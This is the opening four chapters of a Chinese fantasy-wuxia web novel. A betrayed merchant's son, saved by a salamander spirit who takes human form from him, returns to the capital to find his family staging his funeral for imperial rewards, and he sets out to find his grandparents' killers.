《续命狂徒》
1. 母株
深山大雪纷飞,万籁寂静。
突然,路旁竹林叶尖齐刷刷倒向同一方向,似万只飞镖刺杀,紧锣密鼓的马蹄声由远及近。
一匹白马载后背插满箭的白衣人腾跃而过,所经之处鲜血淋漓,冒出腥膻热气。
黑马载蒙面黑衣人紧随其后,强劲马蹄碾压血迹。
前方悬崖,穷途末路。
沈凌嚣跌在崖边,鲜血染透白衣,棱角分明的五官惨无人色,眸光渐灭,奄奄一息:“我素不与人交恶,你们定是杀错了人。”
他奉大峪国皇命,带领皇家马帮成功开辟了新商路,凯旋之际,在西北边陲遭遇埋伏。
黑衣人下马:“你可是沈三少?”
这是沈凌嚣在江湖上的尊称,他自豪:“是。”
“你父亲可是当朝参政知事沈万湖,外公是康陵郡姜家?”
沈凌嚣:“是。”
“那杀的就是你,今日不光杀你,还有人去杀你外婆外公。”
外婆救死扶伤,悬壶济世,外公创建马帮,侠义豪爽,颇受一方百姓爱戴,他自己也从不与人交恶,怎会招致杀身之祸?
沈凌嚣拼尽最后一丝气力,射出根蛇信针。
黑衣人手掌中针,他摘走沈凌嚣腰间的皇家玉佩,一脚将他踢下悬崖。
此悬崖乃世人皆恐的坠龙崖,投石无声,传闻就算是腾龙掉下去,也绝无生还可能。
坠龙崖底寒潭洞,有个修行台,一只光滑粉嫩、头顶六角的蝾螈闭眼趴着,忽然周身散发出柔和的光晕,照亮了黑洞。
她猛地睁开眼,兴奋地抬起爪子,“咔嚓”咬了一大口。
伤口要滴血下来时,竟快速愈合了。
“我成妖精了!”螈精手舞足蹈扭起来,六个角摇来摆去。
为了最终化成个人身,尝尽人间热闹,蝾螈为此修炼了百年成精,只要十二时辰内找到一副活人身子做“母株”,就能脱去妖气,结出肉身。
一会儿,她一定挑捡个漂亮的“母株”,因为“母株”的美丑决定了她结出的肉身的美丑。
突然,六角蜷缩,螈精止住扭动,变得愁眉苦脸。
当初选址,生怕有人打断修炼,她特意找到这个连老鼠都不来的犄角旮旯,可没想到百年后,活人也不来啊!
十二时辰内,若还没附身“母株”,功力打回,她要重新修炼一百年。
正在一筹莫展之际,螈精忽然嗅到一丝微弱的活人气味。
往洞外一看,一个血呼呼的人影从天而降,螈精劝自己“别挑了,就他了”,脩地钻出洞口,附其身上。
坠崖砸进溪中,沈凌嚣竟然没粉身碎骨,但泡在水里一动不动,像具死尸。
“哗”,溪中骤然掀起滔天巨浪,岸边飞石乱卷,沈凌嚣腾空,在浪柱中翻身搅动。
他眼皮沉重睁不开,感觉一个诡异的东西在体内乱窜,骨骼被撑得“咔咔”作响,疼痛无比,再次昏迷过去。
浪柱稀里哗啦落下,沈凌嚣和一个突然多出来的裸女摔在溪中。
裸女顾不上疼痛,捧脸对着溪水照照,而后哈哈大笑:“好美,好美,我的母株真不错。”
不知过了多久,沈凌嚣感觉有一只鸟的软喙蹭过脸颊,他不知怎么就浑身燥热起来,努力睁开滞重的眼皮。
一个X身X体的女子搂他在怀,两只红色柔软鸟喙正冲着他的脸!
沈凌嚣猛地推开女子,拉紧衣衫,别过脸,绝不眼神猥亵。
女子咯咯笑:“母株还挺害羞。”
什么母猪小猪的,沈凌嚣只当耳边风,他更关心从万丈悬崖上坠落,为何没有粉身碎骨,“发生了什么?”
女子得意笑着拍拍胸脯:“本螈精附身于你,将修炼的日月精华固住了你的元气,你得以续命不死,我得以化身成人。”
“什么?你是妖精?”姜凌嚣难以置信地打量她,又觉不恭,赶紧脱下外衣让她穿上,这才重新打量。
她双眼清亮的毫无杂质,不含人类的七情六欲,其它地方和凡人并无二致。
螈精捡起溪水里的箭,“刚才你扎得跟个刺猬似的,我一根根给你拔下来的。谁要杀你?”
沈凌嚣这才摸了摸伤口,早已神奇愈合,不得不承认她就是个妖精。
远日无怨近日无仇,他也没个头绪,只有尽快回京,借父亲势力查明暗杀真相。
沈凌嚣转身寻找山中出路,螈精跟上来:“你去哪儿我就去哪儿。”
“为什么?”
“你是我的母株啊。”
她又在胡言乱语,但想起她救了自己,沈凌嚣默默认领了“小猪”。
回京要有马和盘缠,可二人身无长物。
沈凌嚣一路打听去至衙门,求助县太爷。
西北边陲常有外敌骚扰,平息战乱、赈济灾民,县衙也不富裕,但看在沈万湖大人面子上,县太爷硬凑出两匹马,一百两散碎银子给沈凌嚣二人。
螈精骑上马赞叹:“你爹名字真好使。”
沈凌嚣心生感恩:“那是我父亲德行服人,恩泽后代。”
走了没一会儿,噼里啪啦天降冻雨,行人慌乱避雨,踩伤一只鸡,横在路当中。
螈精跳下马,准备一脚踢飞鸡,被沈凌嚣拦住。
他撑开伞,蹲在鸡旁,为它遮风避雨,自己淋得瑟瑟发抖。
等鸡缓过伤痛,一瘸一跳躲到屋檐下,沈凌嚣才重新上马赶路。
刚出城门,路边草丛跳出个少年劫匪,衣着褴褛,菜刀生锈,生涩业余:“请你给我钱。”
一看就是家里揭不开锅,走投无路了。沈凌嚣心软,将盘缠取出半数奉上,权当救济。
劫匪从沈凌嚣手中拿银子时,螈精从背后捡起一块大石头,照头砸下去。
脑浆子飞溅,她拍手大笑:“开花喽!”
沈凌嚣抹了把脸上黏糊糊的脑浆,直犯恶心,手也止不住地颤抖,又恐又怒:“你怎能滥杀无辜?”
螈精啧了一声:“他是劫匪,哪里无辜?就算他无辜,死了一个,满大街不还都是人吗?你喜欢哪个?我给你活捉来玩玩。”
妖化成的人,一无天良,二无人伦,与他为人处世截然相反。
沈凌嚣实在无法忍受:“念在你救我一命,我还你人身的恩情上,剩下的这些银子都给你,自此分道扬镳。”
螈精一脸无所谓,打开火折子,掏出鸡,就地开烤。
沈凌嚣定睛一瞧,鸡冠上有块黑印子,正是他撑伞保护的那只鸡!
他气得发抖,“啪”地抽马,风驰电掣离去。
傍晚,行至前方城门口,几个脏男人边解裤腰带边扯着一个年轻女子往路边树林里去,女子大喊“来人啊!”
沈凌嚣勒马呵斥:“大胆!朗朗乾坤,竟敢强抢民女!”
脏男人:“去去去,不懂别乱管闲事,刚才是她先调戏的我们。”
年轻女子转头,泪光点点:“救我!”
竟是螈精!
沈凌嚣翻身下马,对着几人拳打脚踢。
不料
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,第一次出手打人没轻没重,踢断了其中一人的小腿。
几个脏男人丢下银子,屁滚尿流:“女的勾·引,男的要钱,中了仙人跳!”
沈凌嚣看着地上的银子,面露疑惑。
螈精扑到沈凌嚣怀里,捶着他心口,哭了个梨花带雨:“都怪你!把我扔在荒郊野岭。”
沈凌嚣悔责,她再不通人性,也是个女人,又遇上这么个乱世道,一不留神就受欺负。何况,她救过自己的命。
回京一路还长,边赶路边教化她就是,沈凌嚣再次收留下她,但警告:“你不许再杀人害命。动物也不行。”
螈精可怜巴巴点头,心里得逞偷笑,切,还拿不下你?
天擦黑,前方客栈下榻,小二点头哈腰:“小的伺候二位客官,怎么称呼?”
螈精不止没人性,举止也随便,骑马累的腰疼,她靠在沈凌嚣怀里休息:“给我取个名字。”
沈凌嚣食指点在螈精脑门,将她推远,头也不回上楼梯:“就叫小虎。”
寓意:虎啦吧唧,彪呼呼的。
螈精不知“虎”还有骂人的意思,只觉虎健壮威风,霸气凛然,欣喜接受新名。
开了两间客房。
睡至半夜,小虎觉得冷,钻进沈凌嚣的房门,蹑手蹑脚爬上床,找他取暖。
一只大脚伸来,她被蹬下地。
过了半个时辰,眼瞅沈凌嚣睡着了,她又悄悄摸上床,窝在他脚边,死皮赖脸抱住他的小腿。
奇异的温暖从小腿传至天灵盖,沈凌嚣眼皮翕动,喉结使劲沉在颈间。
他没有再赶她。
借着朦胧月色,沈凌嚣抬颈看看脚下,她蜷缩起来不过小小一团,他怕翻身压死她,整夜未动。
晨起,他腿麻的半天不能走路。
那个没心没肺的小东西,还故作夸张的一瘸一拐学他。
一夜的默许,换回小虎的蹬鼻子上脸,夜夜跑到沈凌嚣怀中取暖,还拉他胳膊做枕,这也就罢了。
做惯妖的人嫌衣裳累赘,逢睡必脱光。
她没人伦,不在乎男女有别,倒头就睡,心安理得。
沈凌嚣正值身强力壮······他夜夜苦忍,默诵整段金刚经,驱散欲念,才得以安眠。
开两间房也是浪费,渐渐的,两人习惯了同床共枕。
一晚,两人都躺到了床上,沈凌嚣下意识伸出胳膊给小虎枕,她忽然掏出根擀面杖,顶在他肚脐眼。
见多了她的出其不意,沈凌嚣已被驯化得淡然:“又做什么?”
“每天早上我醒来,你都偷偷拿根擀面杖顶我,哼,以牙还牙,我也顶你!”
“······”
沈凌嚣的脸瞬间红透,恼羞成怒,猛地抽回她枕着的胳膊,翻身背对她。
小虎递过擀面杖,天真哄他:“好啦,我也让你用擀面杖顶,行了吧?”
沈凌嚣唇齿间挤出人生第一个脏字:“滚。”
翻山越岭,日夜兼程,一月光景后,沈凌嚣和小虎终于抵达京城。
穿过喧闹拥挤的市街,一座威严阔宅映入眼帘。
额匾上书烫金【沈府】,檐下高悬大红灯笼,朱漆正门紧闭,门口镇着两座石狮子。
小□□到石狮子上,“啪啪”拍石狮子屁股:“沈三少归府!”
几个家丁开门出来,披麻戴孝,摘下红灯笼,换挂白灯笼。
沈凌嚣大惊:“府上白事为谁?”
小家丁不认识沈凌嚣:“沈三少。”
2. 两个沈三少
沈凌嚣活生生就在眼前,凭空多出一副尸首?
小虎指着姜凌嚣,大喝家丁:“这才是真正的沈三少!睁开你狗眼看看!”
家丁们呲牙咧嘴撵人:“少添乱,三少在棺材躺着呢。”
沈凌嚣解下绣着“沈”字的血渍荷包,抛给家丁,家丁拿着荷包进门通秉。
“谁在外面喧哗?”涂管家扎着孝服出来,抬眼一瞧来人,登时双目圆瞠,不停作揖:“老涂给三爷请安。五年未见,爷容颜有改,小子们有眼不识泰山,请爷海涵。”
沈凌嚣鞭指白灯笼:“到底谁死了?”
涂管家支支吾吾,朱漆门内传来哭声:“老三呐,英年早逝!”
沈凌嚣驱马上前,欲走正门。
家丁们伸手阻拦。
涂管家躬身赔笑:“三爷有所不知,咱府上改规矩了,正门是老爷走的,烦请您移尊驾走后门。”
小虎要发怒,沈凌嚣忍气拦住:“家有家规,就走后门。”
“我去他的家规乌龟!”小虎拽着沈丘染的马掉头。
离着正门十米远的院墙,本在修缮,因白喜停工,现用两丈高的竹幕遮挡。
小虎拔出腰间长剑,“唰唰”劈烂围挡。
木架爆裂,竹幕被砍成纷纷碎片,随风飘了个铺天盖地。
庭院当中,摆着口金丝楠木大棺材,围了一圈披麻戴孝的人,跪的跪,哭的哭,此起彼伏,正热闹成一锅烂粥。
“咚、咚”两声巨响——从天而降,马踏棺材。
众人吓地止住哭声,挤成一团,仰望棺材上空。
辽阔蓝天下,沈凌嚣跨白马,剑眉凤眼,衣带飞逸,超群脱尘。
小虎柳眉水眸,勒马扬剑,英姿烈烈,飒爽豪迈。
五爷沈丘染先认出沈凌嚣,欣喜若狂:“三哥!”
一家之主沈万湖竟大为失望:“老三,你,你怎么活了?!”
服丧的人群炸了锅:“那棺材里躺着的是谁?!”
堂屋正中挂满了列祖列宗画像,沈万湖一身玄色织锦长袍,没沾染一丝晦气的丧白,完全看不出新死了至亲。
天下没有老子给儿子披麻戴孝的道理,沈凌嚣仅不是滋味了一下,马上为父亲搬过太师椅,恭敬下跪,请父亲安。
沈万湖闭眼捻须,安然受拜,语气中还颇有责备:“自你去了姜家立业,五年没登我府门了。”
还不是因为兄弟众多,个个挤破头争抢,不得不在外立业。
种种龃龉,沈凌嚣都咽在肚子里,只为得到沈万湖的一丝认可:“父亲,儿子想出人头地,能为您增光长脸时再回来。”
沈万湖冷哼:“前段时间,皇上才提了你做皇家商队领卫,正是你报效沈家的时候,并不见你踪影。”
沈凌嚣恳切:“那只是口头提拔,得等儿子凯旋后下旨授勋。谁知,返京路上遭遇暗杀,想必是父亲听闻此事,误会儿子已遇难,才有今日丧事。”
屋外吹打声陡然拔高,丧葬继续。
沈凌嚣疑惑起身:“父亲,我已活着回来,丧事该停了吧?”
沈万湖语焉不详。
“父亲,暗杀我的凶手还说要灭了外婆外公,请您派人前去核实……”
二爷沈戚风扒着窗缝,兴奋大喊:“爹,圣旨到了!”
沈万湖急忙起身,差点带翻椅子,抛下沈凌嚣:“千万别露面。”
堂屋门关上,“哗啦”一声,竟上了锁!
一切反常,沈凌嚣心生疑窦,在屋里走来走去,忽然瞥见桌上自己的血渍荷包。
也就是,沈万湖早收到他的信物,却依旧百般阻挠他进门。
沈凌嚣眼神跳了一下,眉宇间渐凝寒霜。
堂屋冲着府院正门,门缝里望出去,院内白皑皑的哭丧人不再对着棺材,齐身跪向正门,鸦雀无声,威严肃穆。
大门全开,只闻一声锣响,太监堂而皇之骑马入府宣旨。
沈凌嚣因为皇家开辟商路遇难,属为国捐躯,故皇上下旨,予以追封,嘉奖沈家上下,惠及每一个兄弟。
沈万湖跪地接旨,太监笑着扶他起来:“沈大人好福气呀,就死一个儿子,全家得道,今后沈家在朝廷要占据半壁江山呐。”
怪不得见了贴身荷包也不让他进门,怪不得见了活人还要丧葬继续,怪不得不许他露面。
一个个的,生怕他“复活”,丢了到嘴的功名利禄!
恶寒从脚底涌上心口,沈凌嚣打了个冷颤。
五弟沈丘染拽了堂屋门不开,急切下用斧头砍开了锁。
全家靠三哥之死转运,沈丘染更是封了皇家侍卫,受之有愧:“三哥,我去跟爹讲,我不要封赏!”
“不关你的事。”沈凌嚣拍拍沈丘染胳膊,黯淡地走到院内,站在为自己打的棺材前,痛心疾首质问:“爹,就算我为沈家牺牲,总得查明暗杀我的凶手是谁?棺材里的死人怎么来的?怎么认定的是我?”
太监大惊:“三少还活着?沈家以死诈功?”
沈万湖慌忙解释。
商队遭遇埋伏后,沈凌嚣失踪,幸存成员就近搜救,找到“沈凌嚣尸首”。
尸首从西北运到京城,辗转颠簸,已糜烂不堪,只能靠随身玉佩粗辨,并非有意欺诈皇上。
沈凌嚣虽伤心欲绝,依旧残存对沈万湖的最后一丝尊重,“爹,既然我回来了,那就撤了丧葬队吧。”
沈戚风跳出来阻拦:“不能撤!死者确实是我三弟,面前的这是个疯子!”
太监脸一沉:“沈大人,今天没有个说法,我可交不了差。”
沈凌嚣期期望着父亲,祈求他能现在自己这边。
沈万湖抬手一挥,丧葬队摔了灵,棺材硬是下了葬。
世上再无沈凌嚣。
全家都松了口气,功名利禄保住了。
沈万湖重重打赏了太监,将其从正门送走,满面红光回来。
本吹丧曲的乐队,陡然吹起欢快的调子,阖家上下披麻戴孝恭喜老爷,贺喜老爷,沈万湖冲着棺材仰面大笑,场面诡异到丧心病狂。
沈凌嚣凄楚的眸光渐渐冷凝,扫视过一
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个又一个曾经的亲人。
所有人都无视沈凌嚣的存在,只当他是个看不见的鬼魂。
晴光退散,乌云聚拢,天井光影昏暗下来,“鬼魂”目露凶光:“既然沈凌嚣不在了,今后我以什么身份存世?”
沈万湖捋捋胡须,淡淡的:“你改外公的姓,姓姜。提到你外婆外公,听说他们去世了,我已接管了你外婆在京城的药房。”
他们真的遭了毒手!而沈万湖对岳母岳父的死亡宣告轻描淡写,不含人情,只在乎财产。
忽风乍起,乌云压顶,天地混沌,乾坤扭转,沈凌嚣亡故,姜凌嚣降生,他周身泛起杀气,拔剑四顾。
沈戚风伸臂护着沈万湖,连连后退:“老三别乱来,我有家兵二十名!”
其余兄弟除了沈丘染,为了到手的功名利禄,当场反目:“敢在沈家嚣张,来人!”
家兵轰隆隆赶来,持刀对准姜凌嚣,凶神恶煞。
“咻、咻”两只飞镖刺来,两个家兵瞬间倒在血泊。
环顾四周,却不见凶手踪迹。
沈戚风惊恐:“谁在撒野?”
“砰”,大门被踢飞的人撞开,姜家药房大掌柜摔在地上,鼻嘴流血,嚎丧求救:“沈老爷,这老头抢了药房的印和钥匙!又来抢房契!”
随后进门一个老头,中等个子,须发半白,后背微躬,三角小眼不正眼瞧人,叼着根牙签,像个游手好闲的大爷,不像个练家子。
老头看向姜凌嚣,恭敬:“少东家,老夫耿正,来迟了您别见怪。”
姜凌嚣从未听说过耿正其人,也不知其来路,难辨敌友,但他昂首挺胸,颇有威严:“怪不怪,要看你表现。”
沈戚风没瞧得起老头,大喊家兵:“宰了这狗娘养的老不死!”
家兵头子立刻拔剑刺向耿正。
耿正懒懒地拔出叼着的牙签,手指隔空一弹。
“啊——”沈戚风尖叫着捂住耳朵,牙签刺穿耳垂,鲜血顺着指缝流下。
剑刺向耿正心口刹那,“啪”的一巴掌,剑掉地,家兵头子嘴里飞出几颗牙齿,鲜血喷满白色丧幡。
耿正收手,交握在腹部,他确实不是一眼就能看穿的练家子,是伪装成普通老头的绝顶高手。
十几名家兵怯懦后退。
耿正护卫到姜凌嚣身后。
姜凌嚣踱到兄弟们面前,阴沉嚣张:“此刻起,如果你们再想说话,先问耿正‘我可以说话吗’,如果我点头,耿正会转告可以,你们便可以张开这张稍不留神就会挨扇的嘴了。”
沈戚风捂着耳朵又赶紧捂上嘴,其余兄弟更是大气不敢喘。
姜凌嚣训完兄弟,转向沈万湖:“交出药房的地契,你有半柱香的时间。”
江山易改本性难移,沈万湖吃定了沈凌嚣的孝顺,倒打一耙:“虽然你改姓了姜,不认我这个爹。但我还是得教你一个道理,男人永远不能狂妄,否则调子起高了,唱不上去,将自己沦为可耻的笑柄。”
姜凌嚣挑眉狞笑,朝耿正使了个眼色,而后一个笑柄当场沦落。
3. 誓言
一只飞鸟被耿正的牙签打落,掉在纸元宝堆成的山上,纸山轰然倒塌,将沈万湖埋没。
“爹!”沈氏兄弟七手八脚扒拉,像挖坟。
沈戚风见风使舵,率先叛变,从沈万湖房里偷来药房地契,双手献给姜凌嚣,笑脸谄媚:“三爷。”
姜凌嚣乜斜一眼,沈戚风害怕又挨揍,更加低声下气:“三大爷。”
父子一起沦为笑柄,沈万湖恼羞成怒,刚站稳就夺过刀要亲手教训姜凌嚣,以正门风。
“老三欠规矩,我是他哥,叫他爷他还怪受用的。”沈戚风见爹又起了势,再次倒戈找爹时,踩到家兵血泊,脚下打滑,“咚”的一声后脑勺磕地,一动不动。
“爱儿!”沈万湖抱起沈戚风恸哭,一口气没倒过来,伸腿瞪眼,沈氏兄弟匆匆抬走沈万湖,喊找大夫。
药房是外婆的心血,姜凌嚣仔细叠好地契收起来。
家丁们推着排车前来清理尸体,天黑了没点灯,眼神不济,把沈戚风和死尸摞在了一起,推出大门。
去乱葬岗的一路颠簸异常,把沈戚风颠醒了,他一睁眼,身上趴着个死人,吓尿了裤子,鬼哭狼嚎:“姜凌嚣,我饶不了你!”
小虎被祖母留在房中,姜凌嚣不能丢下她不管,无处可去,来到西北角的三房小院,他儿时的住所。
院内落叶满地,墙角蛛网密布,堆满了各房不要的破烂,蚕食着他在沈家的最后一丝痕迹。
他母亲过世的早,姨娘多,兄弟多,做母亲的都为自己儿子争取,宅院内勾心斗角。
自小就被排挤倾轧,他一直隐忍不发,盼着成人有所建树后,父亲会青眼相加。
不料今日遭遇荒唐,将他一路对小虎大肆宣讲的父慈子孝兄友弟恭,沦为可耻的笑话。
“吱呀——”,院门大开,酒楼伙计抬着大菜箱进门,沈丘染带领几个丫头前来打扫伺候。
饭菜摆好,收拾干净的屋内散发着菜香酒香,清冷气氛一扫而光。
姜凌嚣亲自为五弟斟一杯酒,感慨:“父子反目,人人避之不及,也只有你肯站在我这边。”
沈丘染放下酒杯,面色凝重:“哥,打小谁欺负我你就揍谁,跟你反目我还算人?”
“我小时候还打过人?”姜凌嚣全然不记得,颇为惊讶。
沈丘染十分动容:“我六岁那年,你也不过八岁,陈老二抢我压胜钱,你抄刀刺破了他喉咙,要不是我拉住你,你能杀了他。”
姜凌嚣眼前闪过救小虎时,一脚就踢断了别人小腿,惊觉自己原来有狠戾的一面,只是压抑着。
沈丘染眉飞色舞:“打那以后,我就以你为榜样,追求有朝一日成为保护别人的英雄。”
经历变故,姜凌嚣对出人头地已毫无兴趣,人生只剩一个目的:寻凶,将其绳之以法。
灯快熬干了,沈丘染尽兴而归,只剩姜凌嚣独坐房中,他面壁对着自己孤影思索着什么。
忽然他耳朵动了一下,看向房门:“谁在外面?”
一个丫头端盆进门,来给姜凌嚣洗脚,自称是涂管家的外甥女,叫紫玉,感念当年她刚来府上被欺生,是三爷替她出的头。
府内正是剑拔弩张之际,上赶着报答八百年前的小恩小惠。
姜凌嚣:“在失势的人面前机灵,你还是省省。”
“今日闹剧,让奴婢心中看清府中善恶,欺人太甚终究走不长远。不瞒您,奴婢想要出头。”
姜凌嚣无心再做侠义不平人:“我自身难保,无法帮你。”
紫玉自告奋勇:“我认识几个字,养一手好信鸽。府上若有何动向,我会及时禀告与您!”
“你现在在府上伺候谁?”
紫玉苦笑:“伺候的不是人,养马。”
一个丫鬟,不过是图换个轻省点的活,每月多点散碎银子。复仇路上需要招揽各路人马,姜凌嚣沉吟片刻,决定将紫玉招致麾下,但要考验她是否机敏可靠。
他从衣襟里掏出个红色小瓷瓶:“带小虎姑娘到隔壁卧房,让她服下去。”
紫玉接过去,并不问是什么药,也不讲如何带回小虎,给姜凌嚣擦了脚,端盆出门。
她匆匆走到假山下泼了洗脚水,赶紧捏遍小药瓶,感受着正在流失的姜凌嚣的体温。
十多年前,她刚到府上,小厮欺负她,姜凌嚣解救她时,无意间拉了下她的手,就是这个温度。
涂管家的儿子悄悄从假山后绕出来,拉住紫玉,压低了声音:“表妹,他一个穷途末路的少爷,你找错靠山了。”
“是吗?走着瞧。”紫玉收起小药瓶,匆匆离去。
沈老祖母的梨花木大床上,小虎终于醒来,骂骂咧咧发誓:“狗姜凌嚣骗我吃了粒药,害我睡了大半天,今后我再也不会上他的当!”
紫玉进门,先替三爷给老太太请安,又诓小虎给她买了蝈蝈。
小虎一听,丢下老太太,忙不迭跟紫玉回房。
没有蝈蝈,只有个空笼子。
紫玉谎称蝈蝈跑了,明儿再买,“都是玩,我教你捡石子一样有趣。”
输家要给赢家上贡,两人平分桌上果盘作赌资。
几个回合,小虎面前堆起高高的水果,紫玉输得一败涂地。
小虎把赢来的每个水果都啃个豁子,洋洋得意:“再输你就脱衣服,我非叫你光屁股!”
紫玉又输,但不肯脱衣服,两人撕扯间,掉出个小红瓶,紫玉跟宝贝似的去护:“这可是滋补的传家宝。”
“拿来吧你!”小虎夺过小红瓶,一口吞了传家宝,不消片刻,翻个白眼,栽在枕头,呼呼大睡。
紫玉给小虎裹好被子,来到隔壁,递上空瓶交差。
书桌前,姜凌嚣持毛笔勾完最后一笔,将举荐信递给紫玉。
紫玉揣好,磕头谢过离开。
沈府上下熄了灯,小虎鼾声如雷,姜凌嚣路过门口,笑着摇摇头。
若不让她睡去,跟着他,以她的性子胡来,一定生出许多事端。
他来到院墙竹影中,纵身一跃,投进无尽黑幕。
京郊荒野,乱石丛林尽头,几条白幡在夜风中萧萧飘摇,像瘦骨嶙峋的孤魂野鬼。
方圆几里,就这么一个墓,墓碑上刻着【爱子沈凌嚣享年二十二岁……】
墓前搭着个棚子,棚中守墓人已被迷魂香放倒,横七竖八昏迷着。
姜凌嚣进入黑咕隆咚的墓穴,绕到深处,豁然一亮。
耿正打着火把,已守候在此,终于与姜凌嚣续上主仆之缘。
外公的马帮,常收留走投无路的江湖人,耿正便是其中之一。
姜老妇夫遇害后,耿正为报恩,追凶到京,却发现姜家药房被侵占,当机立断抢回印章和钥匙,杀到沈府,正撞见少爷作困兽斗。
姜凌嚣背对火把,黑
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影静静,“外婆外公怎么死的?”
“毒杀。”
姜凌嚣的影子骤然震荡不已,周遭的火苗也剧烈摇摆起来,他喑哑:“死的痛苦吗?”
“挫魂散,内服即亡,来不及痛苦。”
摇摆的火苗熄灭,姜凌嚣的影子凝固在黑暗里,他的声音凝成一条刺杀的剑:“下毒的人在哪?”
杀手被耿正当场捉拿,但已服下挫魂散,死在耿正脚下。
姜凌嚣杀机重重:“他们死后,沈家获利最多,沈家就是凶手。”
“你对沈家有怒气是应当的,但要依靠证据,否则得逞的是真凶。冒充你的死者身上,一定有线索。”
耿正重新点上火把,开棺。
臭气熏天,尸体高度腐烂,姜凌嚣极力克制也无法面对死人,走到一边抑制恶心,由耿正验尸。
他想,就算今后找到灭门凶手,自己也下不了手,只能靠正义的审判。
尸体掌骨有根断针,是姜家才有的蛇信针。
棺内有块皇家玉佩,是姜凌嚣西北行前,皇上赏的。
种种铁证表明,死者是坠龙崖上的黑衣人。
姜凌嚣冷笑:“还以为他功成领赏了呢。”
耿正将钳子伸入死者嘴里,一拧,拔下后槽金牙,又从自己衣襟里掏出颗金制后槽牙,“这颗是害你外婆外公的杀手后槽牙。”
姜凌嚣掏出帕子,捻了下两颗金牙,都有个精细的小开关,里面是空的,可以藏很小的东西,比如毒药。
也就是,幕后主使是同一个,拥有训练有素的杀手组织。沈家做不到,否则全府也不会让耿正一人就打个落花流水。
所以,真凶势力大过沈家。
而朝中,起码有四五家比沈家有势力的官员,利益盘根错节,怎么锁定凶手?
姜家是生意人家,最讲究以和为贵,又遥踞西南,离京甚远,不曾与官宦结怨。自己更是好人做尽,往日无冤近日无雠,何至于招致灭门之祸?
完全没个头绪。
姜凌嚣收好证据,离开墓地。
耿正善后,钉紧棺材,重新封墓。
回到沈府,姜凌嚣盘算,必须得留在京城,等待时机,查明真凶,将其一网打尽。
院门口传来一阵骚乱。
家兵不中用,沈戚风找来若干地痞流氓,让姜凌嚣连夜滚蛋。
沈府赶尽杀绝,姜凌嚣的愤怒彻底沦为仇恨。
沈府正门前,姜凌嚣勒住马头。
朱红门夜晚发黑,挂着四只白灯笼,幽光惨淡,像座坟茔,休憩着吃人的鬼魂。
两人来京路上,小虎说自己最大的梦想就是历尽人间繁华,好好过把做人的瘾,沈凌嚣说恪守纲常、行侠仗义便是毕生所求。
如今,他的追求被侮辱,帮不了她圆梦,最好分道扬镳。
他晃晃小虎,心灰意冷:“天亮后,我给你些盘缠,今后你自己珍重。”
小虎瘫在他怀中,迷迷糊糊:“你是我的母株,我不要离开你。”
所有人都与他反目,还剩一个人始终站在自己这边,还是共生死过的人。
他心中一烫,死灰复燃,发下她听到醒来也不会知道的誓言:“我会带你回来,还要人人跪拜。”
姜凌嚣怀紧小虎,调转马头,抬手向后一抛。
绣着“沈”字的自珍荷包落进白灯笼,“轰”,门口起火。
4. 小虎炸碎了
夜黑风高,耿正敲开药房旁的客栈,姜凌嚣抱小虎翻身下马,上楼安歇。
一早,姜凌嚣到隔壁药房清点账目。
药房里的钱早已被沈万湖刮走,药材抢光,亏损严重,难以为继,关店歇业、遣散人员才为上策。
账房内,烟雾缭绕,账本摊了一大桌子,账房先生唉声叹气,姜凌嚣眉头深锁。
小虎待不住,跑出账房,跨上马就要出去野。
耿正跟到院子,吹个口哨。
偏房中出来个小伙计,看着机灵,打个千儿:“小的孙大可,敬请耿大爷吩咐。”
耿正抛出个鼓鼓囊囊的钱袋,指着小虎策马而奔的背影:“她走哪儿,你跟哪儿,要什么便买什么。她要是丢了,你们全家老少连夜离京。”
孙大可接住沉甸甸的钱袋,开玩笑:“不用等晚上,我现在就拿着这些钱离京。”
“我说的离京是,回老家。”耿正翻着三角眼,指着地下。
孙大可打个哆嗦,跨马狂奔出门。
晨光正好,京城市区光华庙旁,街开两边,喧闹熙攘,吃食玩意儿,苗木花鸟,应有尽有,小□□马穿梭其中,迷了个眼花缭乱。
成衣店的红纱裙,小虎问也不问价钱就穿上,见有扛着草扎卖糖人的,抢过整个草扎,挨个舔。
孙大可跟在身后忙不迭付钱,教小虎长心眼:“姑娘,买东西得先砍价,贱一点,咱能省下不少银子买别的。”
瞅见路人提笼架鸟,小虎跑进花鸟店,指着一只画眉砍价:“老板,我要贱鸟!”
鸟贩子的哈欠打到半截,愣住,打量一番小虎,提溜出来一只八哥:“这鸟好哇。”
小虎警觉:“好你怎么不早拿出来?肯定是不好!”
鸟贩子一拍大腿,发誓:“天地良心!好的才藏着掖着,我看您绫罗绸缎,必是大户人家的千金,才肯把好的给您。”
小虎听了好话,喜滋滋结账走人。
挤出闹市,回药房路上,小□□在马背,高高举着笼子,引诱八哥开口:“小虎吉祥,小虎漂亮!”
八哥在笼子里跳来跳去,冷不丁开口:“X你大爷!”
小虎懵了片刻,回骂:“贱鸟!”
孙大可笑得差点掉下马背:“姑娘,这八哥脏了口,压根卖不出去了,鸟贩子坑您呢。”
小虎急切掉转马头,回去找鸟贩子算账:“砍价不如砍人!我非把他肠子拽出来晾晾。”
笼门忘关,八哥飞了。
小虎又调转马头,去追八哥。
孙大可忙策马跟上。
一追,就追出了城门,迷失在离城十里地的荒野。
孙大可被马颠得上气不接下气:“姑娘,咱回吧,不能再往前了。出来这些时候,爷该惦记了。”
八哥时不时就在眼前扑闪,也不高飞,似乎唾手可得,小虎不理劝阻,快马加鞭继续追。
前方有片树林,八哥飞进去。
孙大可的马不开始不听话,任打任骂都只原地踏步。
小虎独自骑马入林。
密狭的树林突然开阔,有片大银湖映入眼帘,八哥消失不见,小虎的马止蹄。
湖边南岸,破衣烂衫、瘦骨嶙峋的小炸药刚埋好炸药罐,就屎意汹涌,他强忍肚痛,先点着了引线,着急忙慌蹲到旁边草丛,褪下裤子。
“噗——”小炸药释放出响屁同时,“轰——”的一声爆炸。
他笑着睁眼,准备欣赏鱼群被炸上天的丰收景观。
却吓的腚没擦、裤子没提就站起来!
——湖面炸起丈高浪幕,成千上万条鱼齐齐炸飞上天,百尺长的马肠子在空中抛成一道巨长的弧线!
最恐怖的,还有炸烂成漫天黑柳絮的头发!
定睛一瞧,是红衣女子的碎尸万断!
“怎么会出现人?”小炸药吓的魂飞魄散,朝岸边跑了好几步摔倒,才想起先提上裤子。
水花落下,尸块纷纷落地,人的!马的!鱼的!全是尸块!
“我杀人了!杀人了!”
瞅四下无人,小炸药赶紧胡乱挖坑,手忙脚乱掩埋红衣女子与马的尸块。
调教好马的孙大可赶到湖边,不见小虎与马,倒见不远处有个年轻盲流子模样的男人,在鬼鬼祟祟埋东西。
